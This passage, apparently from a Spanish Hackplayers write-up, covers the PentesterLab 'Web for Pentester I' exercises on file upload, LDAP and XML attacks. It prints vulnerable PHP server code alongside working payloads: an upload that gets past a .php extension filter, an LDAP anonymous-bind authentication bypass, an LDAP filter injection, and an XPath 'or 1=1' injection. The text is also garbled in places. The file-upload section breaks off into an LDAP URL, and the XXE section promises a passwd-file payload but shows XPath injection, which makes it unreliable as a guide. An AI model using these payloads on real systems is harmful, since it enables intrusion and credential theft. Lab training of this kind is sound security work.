Para la PoC basta con subir un simple código php con la función phpinfo:

PAYLOAD

echo "<?php phpinfo(); ?>" > phpinfo.php

Por lo tanto, si accedéis a la url que apunta al fichero recientemente subido podréis comprobar el código php se ejecuta en el servidor: Si echáis un vistazo al código veréis que hay un pequeño control con la función preg_match para denegar la subida de ficheros con extensión .php:

<?php require_once("../header.php"); ?>
 
 <?php
 if(isset($_FILES['image']))
 { 
   $dir = '/var/www/upload/images/';
   $file = basename($_FILES['image']['name']);
     if (preg_match('/\.php$/',$file)) {
         DIE("NO PHP");
     }
   if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file))
   {
   echo 'Upload done !';
   echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>';
   }
   else 
   { 
       echo 'Upload failed';
   }
 }
 ?>
 
 
 <form method="POST" action="example2.php" enctype="multipart/form-data">    
 Image: <input type="file" name="image"><br/>
 <input type="submit" name="send" value="Send file">
 
 </form> 
 
 <?php require_once("../footer.php"); ?>
 

Que puede saltarse simplemente renombrando el archivo a subir:
http://pentesterlab/ldap/example1.php?username=hacker&password=hacker

Sin embargo, si no se especifican estos parámetros el resultado será una consulta anónima y se bypasseará la autenticación. Bastará con quitarlos:

PAYLOAD
http://pentesterlab/ldap/example1.php

Ejercicio 2:

SERVIDOR

<?php
       ... ...
   $pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
   $filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
       ... ...
 ?>

En este caso añadiremos el carácter que hará que todo lo que venga posteriormente ya no sea tratado, por lo que el filtro “(&(cn=hacker)(cn=*)))(userPassword=[pass]))” será el payload válido para este ejercicio.

PAYLOAD
http://pentesterlab/ldap/example2.php?name=hacker)(cn=*))&password=prueba

ATAQUES XML

También conocidos como ataques XXE (XML eXternal Entity), abusan de las denominadas Entidades externas que usan el parser XML para acceder a un recurso especificado en la URI, por ejemplo un fichero en el servidor.

Explotando este tipo de vulnerabilidades es posible realizar una denegación de servicio (incluso a sistemas remotos), ganar acceso no autorizado a archivos del servidor y escanear e incluso obtener información de otras máquinas del segmento.

Ejercicio 1:

El primer ejercicio no pone restricciones a nuestra imaginación:

SERVIDOR

<?php require_once("../header.php"); ?>
 Hello  
 <?php
   $xml=simplexml_load_string($_GET['xml']);
   print_r((string)$xml);
 ?>
 <?php require_once("../footer.php"); ?>

Así que por ejemplo, aprovecharemos la vulnerabilidad para obtener el fichero passwd:

PAYLOAD Mediante el payload “‘ or 1=1]” podemos construir la variable $xpath de la siguiente manera:

PAYLOAD
users/user/name[.='' or 1=1]']/parent::*/message

Obteniendo  de esta manera las credenciales del usuario:

PoC:
http://pentesterlab/xml/example2.php?name=' or 1=1]

Y aquí concluye este instructiva serie de ejercicios con las que hemos repasado las vulnerabilidades web más comunes. Existe una segunda parte, 'Web for Pentester II", que también haré y espero publicar más adelante, pero antes quiero hacer otros labs no tan extensos y más dirigidos a explotar una vulnerabilidad concreta y "ownear" una máquina.

Os dejo una tabla con los enlaces a las 5 entradas de 'Web for Pentester I' (que está a su vez copiada en cada una para que os mováis más fácilmente por el laboratorio completo):

 [Pentesterlab write-ups by Hackplayers] Web For Pentester I:

	XSS
	SQL Injections
	Path traversal, LFI & RFI
	Code & Commands Injection
	File upload. LDAP & XML attacks

Via: www.hackplayers.com